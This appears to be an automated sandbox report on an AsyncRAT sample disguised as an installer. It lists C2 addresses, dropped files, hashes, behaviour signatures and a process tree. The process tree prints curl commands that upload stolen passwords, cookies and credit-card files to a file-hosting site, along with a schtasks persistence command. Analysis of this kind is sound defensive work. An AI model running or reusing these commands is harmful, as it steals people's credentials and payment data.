Analysis

  • max time kernel
    47s
  • max time network
    53s
  • platform
    windows10-1703_x64
  • resource
    win10-20240404-en
  • resource tags

    arch:x64arch:x86image:win10-20240404-enlocale:en-usos:windows10-1703-x64system
  • submitted
    04/05/2024, 09:16

General

  • Target
    Install.exe
  • Size 216.9MB
  • Sample240504-k8mclsce24
  • SHA256 01625ac998b10a1034cd7b0175fac5bf513be11201da28277930ba461d136a93
  • MD5 SHA1 SHA512 SSDEEP

Malware Config

Extracted

Family
  • asyncrat

Version
  • 0.5.8

Botnet
  • Default

C2
  • 127.0.0.1:6606

  • 127.0.0.1:7707

  • 127.0.0.1:8808

  • 127.0.0.1:666

  • 127.0.0.1:15473

  • 2.tcp.eu.ngrok.io:6606

  • 2.tcp.eu.ngrok.io:7707

  • 2.tcp.eu.ngrok.io:8808

  • 2.tcp.eu.ngrok.io:666

  • 2.tcp.eu.ngrok.io:15473

Mutex
  • aIJnqcsg1AEj

Attributes
  • delay

    3

  • install

    true

  • install_file

    undertale.exe

  • install_folder

    %Temp%

aes.plain

Signatures

  • AsyncRat

    AsyncRAT is designed to remotely monitor and control other computers written in C#.

  • Async RAT payload 1 IoCs
  • Drops startup file 1 IoCs
  • Executes dropped EXE 5 IoCs
  • Loads dropped DLL 42 IoCs
  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
  • Legitimate hosting services abused for malware hosting/C2 1 TTPs 26 IoCs
  • Looks up external IP address via web service 2 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Detects Pyinstaller 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Creates scheduled task(s) 1 TTPs 1 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Delays execution with timeout.exe 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 13 IoCs
  • Suspicious use of AdjustPrivilegeToken 3 IoCs
  • Suspicious use of WriteProcessMemory 36 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\Install.exe
    "C:\Users\Admin\AppData\Local\Temp\Install.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:4752
    • C:\Users\Admin\AppData\Local\Temp\RarSFX0\Setup.exe
      "C:\Users\Admin\AppData\Local\Temp\RarSFX0\Setup.exe"
      2⤵
      • Executes dropped EXE
      • Suspicious use of WriteProcessMemory
      PID:292
      • C:\Users\Admin\AppData\Local\Temp\RarSFX1\dotnet.exe
        "C:\Users\Admin\AppData\Local\Temp\RarSFX1\dotnet.exe"
        3⤵
        • Executes dropped EXE
        • Suspicious use of WriteProcessMemory
        PID:5012
        • C:\Users\Admin\AppData\Local\Temp\RarSFX1\dotnet.exe
          "C:\Users\Admin\AppData\Local\Temp\RarSFX1\dotnet.exe"
          4⤵
          • Drops startup file
          • Executes dropped EXE
          • Loads dropped DLL
          • Suspicious use of WriteProcessMemory
          PID:1752
          • C:\Windows\system32\cmd.exe
            C:\Windows\system32\cmd.exe /c "curl -F "file=@C:\Users\Admin\AppData\Local\Temp\cspasswords.txt" https://store1.gofile.io/uploadFile"
            5⤵
              PID:4388
            • C:\Windows\system32\cmd.exe
              C:\Windows\system32\cmd.exe /c "curl -F "file=@C:\Users\Admin\AppData\Local\Temp\cscookies.txt" https://store1.gofile.io/uploadFile"
              5⤵
                PID:4820
              • C:\Windows\system32\cmd.exe
                C:\Windows\system32\cmd.exe /c "curl -F "file=@C:\Users\Admin\AppData\Local\Temp\cscreditcards.txt" https://store1.gofile.io/uploadFile"
                5⤵
                  PID:4000
                • C:\Windows\system32\cmd.exe
                  C:\Windows\system32\cmd.exe /c "curl -F "file=@C:\Users\Admin\AppData\Local\Temp\csautofills.txt" https://store1.gofile.io/uploadFile"
                  5⤵
                    PID:4504
                  • C:\Windows\system32\cmd.exe
                    C:\Windows\system32\cmd.exe /c "curl -F "file=@C:\Users\Admin\AppData\Local\Temp\cshistories.txt" https://store1.gofile.io/uploadFile"
                    5⤵
                      PID:620
                    • C:\Windows\system32\cmd.exe
                      C:\Windows\system32\cmd.exe /c "curl -F "file=@C:\Users\Admin\AppData\Local\Temp\csbookmarks.txt" https://store1.gofile.io/uploadFile"
                      5⤵
                        PID:208
                  • C:\Users\Admin\AppData\Local\Temp\RarSFX1\Undertale.exe
                    "C:\Users\Admin\AppData\Local\Temp\RarSFX1\Undertale.exe"
                    3⤵
                    • Executes dropped EXE
                    • Suspicious behavior: EnumeratesProcesses
                    • Suspicious use of AdjustPrivilegeToken
                    • Suspicious use of WriteProcessMemory
                    PID:4348
                    • C:\Windows\SysWOW64\cmd.exe
                      "C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc onlogon /rl highest /tn "undertale" /tr '"C:\Users\Admin\AppData\Local\Temp\undertale.exe"' & exit
                      4⤵
                      • Suspicious use of WriteProcessMemory
                      PID:1416
                      • C:\Windows\SysWOW64\schtasks.exe
                        schtasks /create /f /sc onlogon /rl highest /tn "undertale" /tr '"C:\Users\Admin\AppData\Local\Temp\undertale.exe"'
                        5⤵
                        • Creates scheduled task(s)
                        PID:2580
                    • C:\Windows\SysWOW64\cmd.exe
                      C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\tmpA151.tmp.bat""
                      4⤵
                      • Suspicious use of WriteProcessMemory
                      PID:4256
                      • C:\Windows\SysWOW64\timeout.exe
                        timeout 3
                        5⤵
                        • Delays execution with timeout.exe
                        PID:4696
                      • C:\Users\Admin\AppData\Local\Temp\undertale.exe
                        "C:\Users\Admin\AppData\Local\Temp\undertale.exe"
                        5⤵
                        • Executes dropped EXE
                        • Suspicious use of AdjustPrivilegeToken
                        PID:3684

              Network

                    MITRE ATT&CK Enterprise v15

                    Replay Monitor

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                    Downloads

                    dotnet.exe

                    • Path C:\Users\Admin\AppData\Local\Temp\RarSFX1\dotnet.exe
                    • Size 16.2MB
                    • SHA256 2fbed094de03f4e6794db96b87c67968fb654a24576eb7804f22d5750daf237e
                    • MD5 SHA1 SHA512 SSDEEP

                    VCRUNTIME140.dll

                    • Path C:\Users\Admin\AppData\Local\Temp\_MEI50122\VCRUNTIME140.dll
                    • Size 116KB
                    • SHA256 4d292623516f65c80482081e62d5dadb759dc16e851de5db24c3cbb57b87db83
                    • MD5 SHA1 SHA512 SSDEEP

                    _asyncio.pyd

                    • Path C:\Users\Admin\AppData\Local\Temp\_MEI50122\_asyncio.pyd
                    • Size 69KB
                    • SHA256 2dfcaec25de17be21f91456256219578eae9a7aec5d21385dec53d0840cf0b8d
                    • MD5 SHA1 SHA512 SSDEEP

                    _cffi_backend.cp312-win_amd64.pyd

                    • Path C:\Users\Admin\AppData\Local\Temp\_MEI50122\_cffi_backend.cp312-win_amd64.pyd
                    • Size 178KB
                    • SHA256 d8a76d1e31bbd62a482dea9115fc1a109cb39af4cf6d1323409175f3c93113a7
                    • MD5 SHA1 SHA512 SSDEEP

                    _ctypes.pyd

                    • Path C:\Users\Admin\AppData\Local\Temp\_MEI50122\_ctypes.pyd
                    • Size 122KB
                    • SHA256 be9828a877e412b48d75addc4553d2d2a60ae762a3551f9731b50cae7d65b570
                    • MD5 SHA1 SHA512 SSDEEP

                    _decimal.pyd

                    • Path C:\Users\Admin\AppData\Local\Temp\_MEI50122\_decimal.pyd
                    • Size 245KB
                    • SHA256 e4104e47399d3f635a14d649f61250e9fd37f7e65c81ffe11f099923f8532577
                    • MD5 SHA1 SHA512 SSDEEP

                    _hashlib.pyd

                    • Path C:\Users\Admin\AppData\Local\Temp\_MEI50122\_hashlib.pyd
                    • Size 64KB
                    • SHA256 79c4cde23397b9a35b54a3c2298b3c7a844454f4387cb0693f15e4facd227dd2
                    • MD5 SHA1 SHA512 SSDEEP

                    _multiprocessing.pyd

                    • Path C:\Users\Admin\AppData\Local\Temp\_MEI50122\_multiprocessing.pyd
                    • Size 34KB
                    • SHA256 467b0fef42d70b55abf41d817dff7631faeef84dce64f8aadb5690a22808d40c
                    • MD5 SHA1 SHA512 SSDEEP

                    _overlapped.pyd

                    • Path C:\Users\Admin\AppData\Local\Temp\_MEI50122\_overlapped.pyd
                    • Size 54KB
                    • SHA256 67e6ca6f1645c6928ade6718db28aff1c49a192e8811732b5e99364991102615
                    • MD5 SHA1 SHA512 SSDEEP

                    _queue.pyd

                    • Path C:\Users\Admin\AppData\Local\Temp\_MEI50122\_queue.pyd
                    • Size 31KB
                    • SHA256 3f57f29abd86d4dc8f4ca6c3f190ebb57d429143d98f0636ff5117e08ed81f9b
                    • MD5 SHA1 SHA512 SSDEEP

                    _socket.pyd

                    • Path C:\Users\Admin\AppData\Local\Temp\_MEI50122\_socket.pyd
                    • Size 81KB
                    • SHA256 7daff6aa3851a913ed97995702a5dfb8a27cb7cf00fb496597be777228d7564a
                    • MD5 SHA1 SHA512 SSDEEP

                    _sqlite3.pyd

                    • Path C:\Users\Admin\AppData\Local\Temp\_MEI50122\_sqlite3.pyd
                    • Size 121KB
                    • SHA256 3e96cd9e8abbea5c6b11ee91301d147f3e416ac6c22eb53123eaeae51592d2fe
                    • MD5 SHA1 SHA512 SSDEEP

                    _ssl.pyd

                    • Path C:\Users\Admin\AppData\Local\Temp\_MEI50122\_ssl.pyd
                    • Size 174KB
                    • SHA256 d568b3c99bf0fc35a1f3c5f66b4a9d3b67e23a1d3cf0a4d30499d924d805f5aa
                    • MD5 SHA1 SHA512 SSDEEP

                    _wmi.pyd

                    • Path C:\Users\Admin\AppData\Local\Temp\_MEI50122\_wmi.pyd
                    • Size 35KB
                    • SHA256 1a105311a5ed88a31472b141b4b6daa388a1cd359fe705d9a7a4aba793c5749f
                    • MD5 SHA1 SHA512 SSDEEP

                    base_library.zip

                    • Path C:\Users\Admin\AppData\Local\Temp\_MEI50122\base_library.zip
                    • Size 1.3MB
                    • SHA256 8de4f013bfecb9431aabaa97bb084fb7de127b365b9478d6f7610959bf0d2783
                    • MD5 SHA1 SHA512 SSDEEP

                    libcrypto-3.dll

                    • Path C:\Users\Admin\AppData\Local\Temp\_MEI50122\libcrypto-3.dll
                    • Size 5.0MB
                    • SHA256 05fe080eab7fc535c51e10c1bd76a2f3e6217f9c91a25034774588881c3f99de
                    • MD5 SHA1 SHA512 SSDEEP

                    libssl-3.dll

                    • Path C:\Users\Admin\AppData\Local\Temp\_MEI50122\libssl-3.dll
                    • Size 768KB
                    • SHA256 2e9fbcd8f7fdc13a5179533239811456554f2b3aa2fb10e1b17be0df81c79006
                    • MD5 SHA1 SHA512 SSDEEP

                    pyexpat.pyd

                    • Path C:\Users\Admin\AppData\Local\Temp\_MEI50122\pyexpat.pyd
                    • Size 196KB
                    • SHA256 4779e19ee0f4f0be953805efa1174e127f6e91ad023bd33ac7127fef35e9087b
                    • MD5 SHA1 SHA512 SSDEEP

                    python3.DLL

                    • Path C:\Users\Admin\AppData\Local\Temp\_MEI50122\python3.DLL
                    • Size 66KB
                    • SHA256 d2e348e615a5d3b08b0bac29b91f79b32f0c1d0be48976450042462466b51123
                    • MD5 SHA1 SHA512 SSDEEP

                    python312.dll

                    • Path C:\Users\Admin\AppData\Local\Temp\_MEI50122\python312.dll
                    • Size 6.6MB
                    • SHA256 c98ba3354a7d1f69bdca42560feec933ccba93afcc707391049a065e1079cddb
                    • MD5 SHA1 SHA512 SSDEEP

                    sqlite3.dll

                    • Path C:\Users\Admin\AppData\Local\Temp\_MEI50122\sqlite3.dll
                    • Size 1.5MB
                    • SHA256 7da1c4604fc97ba033830a2703d92bb6d10a9bba201ec64d13d5ccbfecd57d49
                    • MD5 SHA1 SHA512 SSDEEP

                    unicodedata.pyd

                    • Path C:\Users\Admin\AppData\Local\Temp\_MEI50122\unicodedata.pyd
                    • Size 1.1MB
                    • SHA256 10ffd5207eeff5a836b330b237d766365d746c30e01abf0fd01f78548d1f1b04
                    • MD5 SHA1 SHA512 SSDEEP

                    undertale.exe

                    • Path C:\Users\Admin\AppData\Local\Temp\undertale.exe
                    • Size 46KB
                    • SHA256 98cc25ffe72dcf25801449a76e20947ee8bad48d3f225341a5ffb3879f237d50
                    • MD5 SHA1 SHA512 SSDEEP

                    _raw_cbc.pyd

                    • Path \Users\Admin\AppData\Local\Temp\_MEI50122\Crypto\Cipher\_raw_cbc.pyd
                    • Size 12KB
                    • SHA256 11dd1b49f70db23617e84e08e709d4a9c86759d911a24ebddfb91c414cc7f375
                    • MD5 SHA1 SHA512 SSDEEP

                    _raw_cfb.pyd

                    • Path \Users\Admin\AppData\Local\Temp\_MEI50122\Crypto\Cipher\_raw_cfb.pyd
                    • Size 13KB
                    • SHA256 faa41385d0db8d4ee2ee74ee540bc879cf2e884bee87655ff3c89c8c517eed45
                    • MD5 SHA1 SHA512 SSDEEP

                    _raw_ecb.pyd

                    • Path \Users\Admin\AppData\Local\Temp\_MEI50122\Crypto\Cipher\_raw_ecb.pyd
                    • Size 10KB
                    • SHA256 3e0d07bbf93e0748b42b1c2550f48f0d81597486038c22548224584ae178a543
                    • MD5 SHA1 SHA512 SSDEEP

                    VCRUNTIME140_1.dll

                    • Path \Users\Admin\AppData\Local\Temp\_MEI50122\VCRUNTIME140_1.dll
                    • Size 48KB
                    • SHA256 a113f192195f245f17389e6ecbed8005990bcb2476ddad33f7c4c6c86327afe5
                    • MD5 SHA1 SHA512 SSDEEP

                    _bz2.pyd

                    • Path \Users\Admin\AppData\Local\Temp\_MEI50122\_bz2.pyd
                    • Size 83KB
                    • SHA256 f81dc49eac5ecc528e628175add2ff6bda695a93ea76671d7187155aa6326abb
                    • MD5 SHA1 SHA512 SSDEEP

                    _lzma.pyd

                    • Path \Users\Admin\AppData\Local\Temp\_MEI50122\_lzma.pyd
                    • Size 156KB
                    • SHA256 a6e2a5bb7a33ad9054f178786a031a46ea560faeef1fb96259331500aae9154c
                    • MD5 SHA1 SHA512 SSDEEP

                    md.cp312-win_amd64.pyd

                    • Path \Users\Admin\AppData\Local\Temp\_MEI50122\charset_normalizer\md.cp312-win_amd64.pyd
                    • Size 10KB
                    • SHA256 ecf12e2c0a00c0ed4e2343ea956d78eed55e5a36ba49773633b2dfe7b04335c0
                    • MD5 SHA1 SHA512 SSDEEP

                    md__mypyc.cp312-win_amd64.pyd

                    • Path \Users\Admin\AppData\Local\Temp\_MEI50122\charset_normalizer\md__mypyc.cp312-win_amd64.pyd
                    • Size 120KB
                    • SHA256 4107b1d6f11d842074a9f21323290bbe97e8eed4aa778fbc348ee09cc4fa4637
                    • MD5 SHA1 SHA512 SSDEEP

                    libffi-8.dll

                    • Path \Users\Admin\AppData\Local\Temp\_MEI50122\libffi-8.dll
                    • Size 38KB
                    • SHA256 eff52743773eb550fcc6ce3efc37c85724502233b6b002a35496d828bd7b280a
                    • MD5 SHA1 SHA512 SSDEEP

                    select.pyd

                    • Path \Users\Admin\AppData\Local\Temp\_MEI50122\select.pyd
                    • Size 29KB
                    • SHA256 680df34fb908c49410ac5f68a8c05d92858acd111e62d1194d15bdce520bd6c3
                    • MD5 SHA1 SHA512 SSDEEP

                    memory/4348-296-0x00000000006D0000-0x00000000006E2000-memory.dmp

                    memory/4348-297-0x0000000004F30000-0x0000000004FCC000-memory.dmp